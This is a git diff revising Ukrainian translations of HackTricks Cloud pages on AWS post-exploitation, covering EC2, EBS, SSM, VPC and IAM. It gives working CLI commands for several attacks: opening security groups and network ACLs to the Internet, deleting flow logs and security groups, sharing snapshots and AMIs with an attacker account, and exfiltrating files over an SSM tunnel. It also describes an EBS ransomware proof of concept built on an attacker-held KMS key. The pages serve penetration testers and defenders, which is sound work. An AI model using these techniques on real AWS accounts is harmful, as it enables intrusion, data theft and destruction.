-**Потенційний вплив:** Постійна, майже в режимі реального часу exfiltration змін таблиці у потік Kinesis під контролем атакувальника без прямих операцій читання таблиці. +**Potential Impact:** Неперервне, майже в режимі реального часу exfiltration змін таблиці в attacker-controlled Kinesis stream без прямих read operations на таблиці. + + {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 2a6e82301..5f197d04a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -1,10 +1,10 @@ -# AWS - EC2, EBS, SSM & VPC Post Exploitation +# AWS - EC2, EBS, SSM & VPC Постексплуатація {{#include ../../../../banners/hacktricks-training.md}} ## EC2 & VPC -Для додаткової інформації див.: +Для додаткової інформації дивіться: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,10 +12,11 @@ ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** без потреби встановлювати щось на самих інстансах. Цей дубльований трафік зазвичай надсилається, наприклад, в систему виявлення мережевих вторгнень (IDS) для аналізу та моніторингу.\ -Атакувальник може зловживати цим, щоб перехопити весь трафік і отримати з нього конфіденційну інформацію: +VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** без потреби встановлювати щось на самих інстансах.\ +Зазвичай цей дубльований трафік надсилається, наприклад, до системи виявлення вторгнень у мережу (IDS) для аналізу та моніторингу.\ +Зловмисник може зловживати цим, щоб перехопити весь трафік і отримати з нього конфіденційну інформацію: -Для додаткової інформації див. цю сторінку: +Для додаткової інформації дивіться на цій сторінці: {{#ref}} aws-malicious-vpc-mirror.md @@ -23,7 +24,7 @@ aws-malicious-vpc-mirror.md ### Copy Running Instance -Інстанси зазвичай містять певну чутливу інформацію. Існують різні способи потрапити всередину (див. [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Однак інший спосіб перевірити, що в ньому міститься — **створити AMI і запустити з нього новий інстанс (навіть у власному акаунті)**: +Instances зазвичай містять певну конфіденційну інформацію. Існують різні способи отримати доступ (перегляньте [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Однак інший спосіб перевірити, що в ньому міститься — **створити AMI і запустити з нього новий instance (навіть у власному акаунті)**: ```shell # List instances aws ec2 describe-images @@ -47,10 +48,10 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups " aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 ``` -### EBS Snapshot dump +### Дамп EBS Snapshot -**Snapshots are backups of volumes**, які зазвичай містять **чутливу інформацію**, тому перевірка їх повинна виявити ці дані.\ -Якщо ви знайдете **volume without a snapshot**, ви можете: **Create a snapshot** та виконати наступні дії або просто **mount it in an instance** в межах облікового запису: +**Snapshots — це резервні копії томів**, які зазвичай містять **чутливу інформацію**, тому їх перевірка зазвичай розкриває таку інформацію.\ +Якщо ви знайдете **том без знімка**, ви можете: **створити знімок** і виконати наведені дії або просто **підмонтрувати його в інстанс** в акаунті: {{#ref}} aws-ebs-snapshot-dump.md @@ -58,7 +59,7 @@ aws-ebs-snapshot-dump.md ### Covert Disk Exfiltration via AMI Store-to-S3 -Експортуйте EC2 AMI безпосередньо в S3 за допомогою `CreateStoreImageTask`, щоб отримати raw disk image без шарингу snapshot. Це дозволяє провести повну офлайн-форензіку або крадіжку даних, залишивши мережеві налаштування instance недоторканими. +Експортуйте EC2 AMI безпосередньо в S3 за допомогою `CreateStoreImageTask`, щоб отримати сирий диск-образ без шарингу знімка. Це дозволяє повну офлайн-форензику або викрадення даних, не змінюючи мережеві налаштування інстансу. {{#ref}} aws-ami-store-s3-exfiltration.md @@ -66,7 +67,7 @@ aws-ami-store-s3-exfiltration.md ### Live Data Theft via EBS Multi-Attach -Attachіть io1/io2 Multi-Attach volume до другого instance і змонтуйте його в режимі read-only, щоб викачати live дані без використання snapshots. Корисно, коли victim volume вже має Multi-Attach, увімкнений в тій самій AZ. +Підключіть io1/io2 Multi-Attach том до іншого інстансу та змонтуйте його тільки для читання, щоб витягти живі дані без створення знімків. Корисно, коли цільовий том вже має увімкнений Multi-Attach в тому ж AZ. {{#ref}} aws-ebs-multi-attach-data-theft.md @@ -74,7 +75,7 @@ aws-ebs-multi-attach-data-theft.md ### EC2 Instance Connect Endpoint Backdoor -Створіть EC2 Instance Connect Endpoint, авторизуйте ingress та інжектуйте ephemeral SSH keys для доступу до приватних instances через керований тунель. Надає швидкі шляхи латерального переміщення без відкриття public портів. +Створіть EC2 Instance Connect Endpoint, дозволіть вхідний трафік і інжектуйте тимчасові SSH-ключі для доступу до приватних інстансів через керований тунель. Дає швидкі шляхи латерального руху без відкриття публічних портів. {{#ref}} aws-ec2-instance-connect-endpoint-backdoor.md @@ -82,7 +83,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md ### EC2 ENI Secondary Private IP Hijack -Перенесіть secondary private IP victim ENI на attacker-controlled ENI, щоб видаватися trusted hosts, allowlisted за IP. Дозволяє обходити внутрішні ACLs або SG правила, прив'язані до конкретних адрес. +Перенесіть вторинну приватну IP-адресу ENI жертви на ENI під контролем атакуючого, щоб видаватися за довірені хости, які дозволені за IP. Дозволяє обходити внутрішні ACLs або правила SG, прив'язані до конкретних адрес. {{#ref}} aws-eni-secondary-ip-hijack.md @@ -90,7 +91,7 @@ aws-eni-secondary-ip-hijack.md ### Elastic IP Hijack for Ingress/Egress Impersonation -Reassociateйте Elastic IP з victim instance на attacker, щоб перехоплювати inbound трафік або ініціювати outbound з'єднання, які виглядають як такі, що походять від trusted public IPs. +Пересв'яжіть Elastic IP від інстансу жертви на інстанс атакуючого, щоб перехоплювати вхідний трафік або ініціювати вихідні з'єднання, які виглядають як з довіреної публічної IP-адреси. {{#ref}} aws-eip-hijack-impersonation.md @@ -98,7 +99,7 @@ aws-eip-hijack-impersonation.md ### Security Group Backdoor via Managed Prefix Lists -Якщо правило security group посилається на customer-managed prefix list, додавання attacker CIDRs до списку тихо розширює доступ по всіх залежних SG правилах без зміни самого SG. +Якщо правило security group посилається на customer-managed prefix list, додавання CIDR-адрес атакуючого до цього списку непомітно розширює доступ для всіх залежних правил SG без зміни самої SG. {{#ref}} aws-managed-prefix-list-backdoor.md @@ -106,15 +107,41 @@ aws-managed-prefix-list-backdoor.md ### VPC Endpoint Egress Bypass -Створіть gateway або interface VPC endpoints, щоб відновити outbound доступ з ізольованих підмереж. Використання AWS-managed private links обходить відсутні IGW/NAT контролі для ексфільтрації даних. +Створіть gateway або interface VPC endpoints, щоб відновити вихідний доступ з ізольованих підмереж. Використання AWS-managed private links обходить відсутні контролі IGW/NAT для ексфільтрації даних. {{#ref}} aws-vpc-endpoint-egress-bypass.md {{#endref}} +### `ec2:AuthorizeSecurityGroupIngress` + +Атакуючий з дозволом ec2:AuthorizeSecurityGroupIngress може додавати inbound правила до security group (наприклад, дозволяючи tcp:80 з 0.0.0.0/0), тим самим відкриваючи внутрішні сервіси в публічний Інтернет або для несанкціонованих мереж. +```bash +aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 +``` +# `ec2:ReplaceNetworkAclEntry` +Атакувальник, який має дозволи ec2:ReplaceNetworkAclEntry (або подібні), може змінити Network ACLs (NACLs) підмережі, зробивши їх дуже permissive — наприклад дозволивши 0.0.0.0/0 на критичних портах — що відкриває весь діапазон підмережі в Інтернет або для неавторизованих мережевих сегментів. На відміну від Security Groups, які застосовуються на рівні екземпляра, NACLs застосовуються на рівні підмережі, тому зміна обмежувального NACL може мати значно більший радіус ураження, дозволяючи доступ до значно більшої кількості хостів. +```bash +aws ec2 replace-network-acl-entry \ +--network-acl-id \ +--rule-number 100 \ +--protocol \ +--rule-action allow \ +--egress \ +--cidr-block 0.0.0.0/0 +``` +### `ec2:Delete*` + +Зловмисник із дозволами ec2:Delete* та iam:Remove* може видаляти критичні ресурси інфраструктури та конфігурації — наприклад key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Це може спричинити негайне порушення роботи сервісів, втрату даних та втрату судово-експертних доказів. + +Один приклад — видалення security group: + +aws ec2 delete-security-group \ +--group-id + ### VPC Flow Logs Cross-Account Exfiltration -Налаштуйте VPC Flow Logs на attacker-controlled S3 bucket, щоб постійно збирати мережеві метадані (source/destination, ports) поза межами victim account для довгострокової розвідки. +Налаштуйте VPC Flow Logs на відправку до attacker-controlled S3 bucket, щоб безперервно збирати мережеві метадані (source/destination, ports) за межами акаунта жертви для довготривалої розвідки. {{#ref}} aws-vpc-flow-logs-cross-account-exfiltration.md @@ -124,9 +151,9 @@ aws-vpc-flow-logs-cross-account-exfiltration.md #### DNS Exfiltration -Навіть якщо ви закриєте EC2 так, що трафік не виходить, він все одно може **exfil via DNS**. +Навіть якщо ви закриєте EC2 так, що з нього не виходить трафік, він все одно може **exfil via DNS**. -- **VPC Flow Logs will not record this**. +- **VPC Flow Logs не зафіксують цього**. - Ви не маєте доступу до AWS DNS logs. - Вимкніть це, встановивши "enableDnsSupport" в false за допомогою: @@ -134,89 +161,89 @@ aws-vpc-flow-logs-cross-account-exfiltration.md #### Exfiltration via API calls -Атакувальник може викликати API endpoints облікового запису, який він контролює. Cloudtrail зафіксує ці виклики, і attacker зможе побачити ексфільтровані дані в Cloudtrail logs. +Зловмисник може викликати API endpoints акаунта, який він контролює. Cloudtrail зафіксує ці виклики, і зловмисник зможе побачити exfiltrate data у Cloudtrail logs. ### Open Security Group -Ви можете отримати додатковий доступ до мережевих сервісів, відкривши порти таким чином: +Ви можете отримати додатковий доступ до мережевих сервісів, відкриваючи порти таким чином: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` ### Privesc to ECS -Можна запустити EC2 instance і зареєструвати його для запуску ECS instances, а потім викрасти їхні дані. +Можна запустити EC2 інстанс і зареєструвати його для запуску ECS інстансів, а потім викрасти дані цих ECS інстансів. -Для [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). +For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). ### Видалити VPC flow logs ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` -### SSM Port Forwarding +### SSM перенаправлення портів -Необхідні дозволи: +Потрібні дозволи: - `ssm:StartSession` -Окрім виконання команд, SSM дозволяє тунелювання трафіку, що може бути зловживано для pivot з EC2 інстансів, які не мають мережевого доступу через Security Groups або NACLs. -Один зі сценаріїв, де це корисно — pivoting з [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) до приватного EKS кластеру. +Окрім виконання команд, SSM дозволяє тунелювання трафіку, що може бути використане для pivoting з EC2 інстансів, які не мають доступу до мережі через Security Groups або NACLs. +Один зі сценаріїв, де це корисно — pivoting з [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) до приватного кластера EKS. > Щоб розпочати сесію, потрібно встановити SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html 1. Встановіть SessionManagerPlugin на вашому комп'ютері -2. Увійдіть на Bastion EC2 за допомогою наступної команди: +2. Увійдіть на Bastion EC2, використовуючи наступну команду: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Отримайте тимчасові облікові дані AWS для Bastion EC2 за допомогою скрипта [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) -4. Перенесіть облікові дані на вашу машину у файл `$HOME/.aws/credentials` як профіль `[bastion-ec2]` +3. Отримайте тимчасові облікові дані Bastion EC2 AWS за допомогою скрипта [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) +4. Перенесіть ці облікові дані на власну машину в файл `$HOME/.aws/credentials` як профіль `[bastion-ec2]` 5. Увійдіть в EKS як Bastion EC2: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. Оновіть поле `server` у файлі `$HOME/.kube/config`, щоб вказувати на `https://localhost` -7. Створіть тунель SSM таким чином: +6. Оновіть поле `server` у файлі `$HOME/.kube/config`, щоб воно вказувало на `https://localhost` +7. Створіть SSM тунель таким чином: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. Трафік з інструмента `kubectl` тепер перенаправляється через тунель SSM через Bastion EC2, і ви можете отримати доступ до приватного кластера EKS з вашої машини, запустивши: +8. Трафік інструмента `kubectl` тепер пересилається тунелем SSM через Bastion EC2, і ви можете отримати доступ до приватного кластера EKS зі своєї машини, виконавши: ```shell kubectl get pods --insecure-skip-tls-verify ``` -Зауважте, що SSL-з’єднання не вдасться встановити, якщо ви не вкажете прапорець `--insecure-skip-tls-verify ` (або його еквівалент у K8s audit tools). Оскільки трафік тунелюється через захищений AWS SSM tunnel, ви захищені від будь-яких MitM-атак. +Зверніть увагу, що SSL-з'єднання зазнають невдачі, якщо ви не встановите прапорець `--insecure-skip-tls-verify` (або його еквівалент у K8s інструментах аудиту). Оскільки трафік тунелюється через захищений AWS SSM tunnel, ви захищені від будь-яких MitM-атак. -Нарешті, ця техніка не обмежується атаками на приватні EKS кластери. Ви можете вказувати довільні домени та порти, щоб pivot до будь-якої іншої AWS-служби або власного застосунку. +Нарешті, ця техніка не обмежується атакою приватних EKS-кластерів. Ви можете вказувати довільні домени та порти, щоб виконати pivot на будь-який інший AWS service або власний застосунок. --- #### Швидке локальне ↔️ віддалене переадресування портів (AWS-StartPortForwardingSession) -Якщо вам потрібно перенаправити **лише один TCP порт з EC2 instance на ваш локальний хост**, ви можете використати документ SSM `AWS-StartPortForwardingSession` (параметр remote host не потрібен): +Якщо вам потрібно переадресувати лише **один TCP-порт з EC2 інстансу на вашу локальну машину**, ви можете використати SSM документ `AWS-StartPortForwardingSession` (параметр remote host не потрібен): ```bash aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ --parameters "portNumber"="8000","localPortNumber"="8000" \ --region ``` -The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **без відкриття будь-яких вхідних правил Security-Group**. +Ця команда встановлює двонаправлений тунель між вашою робочою станцією (`localPortNumber`) та обраним портом (`portNumber`) на інстансі **без відкриття будь-яких вхідних правил Security-Group**. Common use cases: * **File exfiltration** -1. На instance запустіть простий HTTP-сервер, що вказує на директорію, яку ви хочете exfiltrate: +1. На інстансі запустіть швидкий HTTP-сервер, який обслуговує директорію, яку ви хочете exfiltrate: ```bash python3 -m http.server 8000 ``` -2. З вашої робочої станції завантажте файли через SSM tunnel: +2. З вашої робочої станції завантажте файли через SSM тунель: ```bash curl http://localhost:8000/loot.txt -o loot.txt ``` -* **Доступ до внутрішніх веб-додатків (наприклад, Nessus)** +* **Доступ до внутрішніх веб-застосунків (e.g. Nessus)** ```bash # Forward remote Nessus port 8834 to local 8835 aws ssm start-session --target i-0123456789abcdef0 \ @@ -224,28 +251,28 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` -Порада: Стисніть і зашифруйте докази перед exfiltrating it, щоб CloudTrail не реєстрував clear-text content: +Порада: Стисніть і зашифруйте докази перед ексфільтрацією, щоб CloudTrail не реєстрував незашифрований вміст: ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' ``` -### Надати доступ до AMI +### Надання доступу до AMI ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` -### Пошук конфіденційної інформації в публічних та приватних AMIs +### Пошук конфіденційної інформації в публічних і приватних AMIs -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel — інструмент, призначений для **пошуку конфіденційної інформації в публічних або приватних Amazon Machine Images (AMIs)**. Він автоматизує процес запуску інстансів із цільових AMIs, монтування їхніх томів і сканування на предмет потенційних секретів або чутливих даних. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel — це інструмент, призначений для **пошуку конфіденційної інформації в публічних або приватних Amazon Machine Images (AMIs)**. Він автоматизує процес запуску інстансів із цільових AMIs, підключення їхніх томів і сканування на наявність потенційних secrets або конфіденційних даних. -### Поділ EBS Snapshot +### Надати доступ до EBS Snapshot ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` ### EBS Ransomware PoC -Доказ концепції, подібний до демонстрації Ransomware, показаної в S3 post-exploitation notes. KMS слід перейменувати на RMS (Ransomware Management Service) через те, наскільки легко ним користуватися для шифрування різних сервісів AWS. +Доказ концепції, подібний до демонстрації Ransomware, наведеної в S3 post-exploitation notes. KMS варто перейменувати на RMS (Ransomware Management Service), бо ним дуже просто користуватися для шифрування різних сервісів AWS. -Спочатку, з 'attacker' AWS-акаунта, створіть customer managed key у KMS. У цьому прикладі ми просто дозволимо AWS керувати даними ключа для нас, але в реалістичному сценарії malicious actor зберігав би дані ключа поза контролем AWS. Змініть key policy, щоб дозволити будь-якому AWS account Principal використовувати цей ключ. У цій key policy ім'я облікового запису було 'AttackSim', а правило політики, що дозволяє повний доступ, називається 'Outside Encryption' +Спочатку з 'attacker' AWS акаунту створіть customer managed key у KMS. У цьому прикладі ми дозволимо AWS керувати даними ключа за нас, але в реалістичному сценарії зловмисник зберіг би дані ключа поза контролем AWS. Змініть key policy, щоб дозволити будь-якому AWS account Principal використовувати ключ. У цій key policy ім'я акаунту було 'AttackSim', а правило політики, що дозволяє повний доступ, називається 'Outside Encryption' ``` { "Version": "2012-10-17", @@ -337,7 +364,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ] } ``` -Правило політики ключа має містити наступні дозволи, щоб дозволити його використання для шифрування EBS volume: +The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume: - `kms:CreateGrant` - `kms:Decrypt` @@ -345,21 +372,21 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Тепер, маючи публічно доступний ключ для використання. Ми можемо використати 'victim' акаунт, у якому запущено декілька EC2 instances з підключеними незашифрованими EBS volumes. Саме EBS volumes цього 'victim' акаунта є нашою ціллю для шифрування; ця атака здійснюється за умови компрометації AWS акаунта з високими привілеями. +Тепер, коли загальнодоступний ключ доступний для використання. Ми можемо використати 'victim' акаунт, у якому запущено кілька EC2 інстансів з приєднаними нешифрованими EBS томами. Саме EBS томи цього 'victim' акаунта є нашою метою для шифрування — ця атака відбувається за умови компрометації AWS акаунта з високими привілеями. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Подібно до прикладу з S3 ransomware. Ця атака створить копії підключених EBS volumes за допомогою snapshots, використає публічно доступний ключ з 'attacker' акаунта для шифрування нових EBS volumes, потім від'єднає оригінальні EBS volumes від EC2 instances і видалить їх, а наостанок видалить snapshots, використані для створення нових зашифрованих EBS volumes. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Схоже на приклад S3 ransomware. Ця атака створює копії приєднаних EBS томів за допомогою snapshots, використовує загальнодоступний ключ з 'attacker' акаунта для шифрування нових EBS томів, потім від'єднує оригінальні EBS томи від EC2 інстансів і видаляє їх, а вкінці видаляє snapshots, що використовувались для створення щойно зашифрованих EBS томів. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -В результаті в обліковому записі залишаться лише зашифровані EBS volumes. +В результаті в акаунті залишаться лише зашифровані EBS томи. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Також варто зазначити, що скрипт зупинив EC2 instances, щоб від'єднати й видалити оригінальні EBS volumes. Оригінальні незашифровані EBS volumes тепер відсутні. +Також варто зауважити, що скрипт зупинив EC2 інстанси, щоб від'єднати і видалити оригінальні EBS томи. Оригінальні нешифровані томи тепер зникли. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Далі поверніться до політики ключа в 'attacker' акаунті та видаліть правило політики 'Outside Encryption'. +Далі поверніться до key policy в 'attacker' акаунті і видаліть правило політики 'Outside Encryption' з key policy. ```json { "Version": "2012-10-17", @@ -430,15 +457,15 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ] } ``` -Зачекайте трохи, щоб нова політика ключа поширилася. Потім поверніться до облікового запису 'victim' і спробуйте прикріпити один із щойно зашифрованих EBS томів. Ви побачите, що том можна прикріпити. +Зачекайте деякий час, щоб щойно встановлена політика ключа поширилася. Потім поверніться в обліковий запис 'victim' і спробуйте приєднати один із щойно зашифрованих EBS volumes. Ви побачите, що можете приєднати том. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Але коли ви намагаєтесь дійсно запустити EC2 інстанс із зашифрованим EBS томом, він просто збоїть і змінить стан із 'pending' назад на 'stopped' назавжди, оскільки прикріплений EBS том неможливо розшифрувати за допомогою ключа, бо політика ключа більше цього не дозволяє. +Але коли ви спробуєте фактично запустити EC2 instance з приєднаним зашифрованим EBS volume, він просто зазнає невдачі і буде переходити зі стану 'pending' назад у стан 'stopped' назавжди, оскільки приєднаний EBS volume не може бути розшифрований за допомогою ключа через те, що політика ключа більше цього не дозволяє. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Це python-скрипт, який було використано. Він приймає AWS облікові дані для облікового запису 'victim' та загальнодоступне значення AWS ARN для ключа, що буде використано для шифрування. Скрипт створить зашифровані копії УСІХ доступних EBS томів, прикріплених до УСІХ EC2 інстансів у цільовому AWS обліковому записі, потім зупинить кожен EC2 інстанс, від'єднає оригінальні EBS томи, видалить їх і, врешті-решт, видалить усі snapshots, використані під час процесу. У цільовому обліковому записі 'victim' залишаться лише зашифровані EBS томи. ВИКОРИСТОВУЙТЕ ЦЕЙ СКРИПТ ЛИШЕ В ТЕСТОВОМУ СЕРЕДОВИЩІ — ВІН ДЕСТРУКТИВНИЙ І ВИДАЛИТЬ УСІ ОРИГІНАЛЬНІ EBS ТОМИ. Ви можете відновити їх, використавши застосований KMS key і відновити до початкового стану через snapshots, проте хочу попередити, що в кінцевому підсумку це ransomware PoC. +Ось python-скрипт, який використовувався. Він приймає AWS creds для облікового запису 'victim' і загальнодоступне AWS ARN значення ключа, що використовуватиметься для шифрування. Скрипт створює зашифровані копії ВСІХ доступних EBS volumes, приєднаних до ВСІХ EC2 instances у цільовому AWS акаунті, після чого зупиняє кожен EC2 instance, від’єднує оригінальні EBS volumes, видаляє їх і нарешті видаляє всі snapshots, використані під час процесу. Це залишить у цільовому обліковому записі 'victim' лише зашифровані EBS volumes. КОРИСТУЙТЕСЯ ЦИМ СКРИПТОМ ЛИШЕ В ТЕСТОВОМУ СЕРЕДОВИЩІ — ВІН ДЕСТРУКТИВНИЙ І ВИДАЛИТЬ УСІ ОРИГІНАЛЬНІ EBS VOLUMES. Ви зможете відновити їх за допомогою застосованого KMS key і повернути в початковий стан через snapshots, але майте на увазі, що в підсумку це ransomware PoC. ``` import boto3 import argparse diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md index 183162c95..b406a8d01 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md @@ -4,7 +4,7 @@ ## IAM -Більше інформації про доступ IAM: +For more information about IAM access: {{#ref}} ../../aws-services/aws-iam-enum.md @@ -12,15 +12,15 @@ ## Confused Deputy Problem -Якщо ви **дозволяєте зовнішньому обліковому запису (A)** отримати доступ до **role** у вашому обліковому записі, ви, ймовірно, матимете **0 видимості** щодо **того, хто саме може отримати доступ до того зовнішнього облікового запису**. Це проблема, бо якщо інший зовнішній обліковий запис (B) може отримати доступ до зовнішнього облікового запису (A), то можливо, що **B також зможе отримати доступ до вашого облікового запису**. +Якщо ви **дозволяєте зовнішньому обліковому запису (A)** отримати доступ до **ролі** у вашому обліковому записі, ви, ймовірно, матимете **0 видимості** щодо **того, хто саме може отримати доступ до цього зовнішнього облікового запису**. Це проблема, тому що якщо інший зовнішній обліковий запис (B) може отримати доступ до зовнішнього облікового запису (A), можливо, що **B також зможе отримати доступ до вашого облікового запису**. -Therefore, when allowing an external account to access a role in your account it's possible to specify an `ExternalId`. This is a "secret" string that the external account (A) **need to specify** in order to **assume the role in your organization**. As the **external account B won't know this string**, even if he has access over A he **won't be able to access your role**. +Тому, дозволяючи зовнішньому обліковому запису доступ до ролі у вашому обліковому записі, можна вказати `ExternalId`. Це "секретний" рядок, який зовнішній обліковий запис (A) **повинен вказати**, щоб **отримати роль у вашій організації**. Оскільки **зовнішній обліковий запис B не знає цього рядка**, навіть якщо він має доступ до A, він **не зможе отримати доступ до вашої ролі**.
-However, note that this `ExternalId` "secret" is **not a secret**, anyone that can **read the IAM assume role policy will be able to see it**. But as long as the external account A knows it, but the external account **B doesn't know it**, it **prevents B abusing A to access your role**. +Зверніть увагу, що цей `ExternalId` "секрет" **не є секретом** — будь-хто, хто може **прочитати IAM assume role policy, зможе його побачити**. Але доки зовнішній обліковий запис A його знає, а зовнішній обліковий запис **B — ні**, це **перешкоджає B зловживати A для доступу до вашої ролі**. -Приклад: +Example: ```json { "Version": "2012-10-17", @@ -39,7 +39,7 @@ However, note that this `ExternalId` "secret" is **not a secret**, anyone that c } ``` > [!WARNING] -> Щоб зловмисник міг експлуатувати confused deputy, йому потрібно якось з'ясувати, чи можуть principals поточного account impersonate roles в інших accounts. +> Щоб attacker міг експлуатувати confused deputy, йому потрібно якимось чином з'ясувати, чи можуть principals поточного облікового запису імітувати roles в інших облікових записах. ### Неочікувані довірчі відносини @@ -51,9 +51,9 @@ However, note that this `ExternalId` "secret" is **not a secret**, anyone that c "Principal": { "AWS": "*" } } ``` -Ця політика **дозволяє всім AWS** брати на себе роль. +Ця політика **дозволяє всім AWS** приймати цю роль. -#### Сервіс як принципал +#### Сервіс як суб'єкт ```json { "Action": "lambda:InvokeFunction", @@ -62,7 +62,7 @@ However, note that this `ExternalId` "secret" is **not a secret**, anyone that c "Resource": "arn:aws:lambda:000000000000:function:foo" } ``` -Ця політика **дозволяє будь-якому обліковому запису** налаштувати свій apigateway, щоб викликати цю Lambda. +Ця політика **дозволяє будь-якому обліковому запису** налаштувати свій apigateway для виклику цього Lambda. #### S3 як principal ```json @@ -73,7 +73,7 @@ However, note that this `ExternalId` "secret" is **not a secret**, anyone that c } } ``` -Якщо як principal вказано S3 bucket (оскільки S3 buckets не мають Account ID), і ви **видалили ваш bucket і attacker створив** його в своєму account, attacker міг би скористатися цим. +Якщо як principal вказано S3 bucket, оскільки S3 buckets не мають Account ID, якщо ви **видалили свій bucket і зловмисник створив** його в своєму акаунті, то зловмисник міг би цим зловживати. #### Не підтримується ```json @@ -84,10 +84,10 @@ However, note that this `ExternalId` "secret" is **not a secret**, anyone that c "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` -A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources). +Звичний спосіб уникнення проблем Confused Deputy — використання умови з `AWS:SourceArn` для перевірки ARN джерела. Однак **деякі сервіси можуть цього не підтримувати** (наприклад, CloudTrail, за деякими джерелами). ### Видалення облікових даних -Маючи будь-який із наступних дозволів — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, 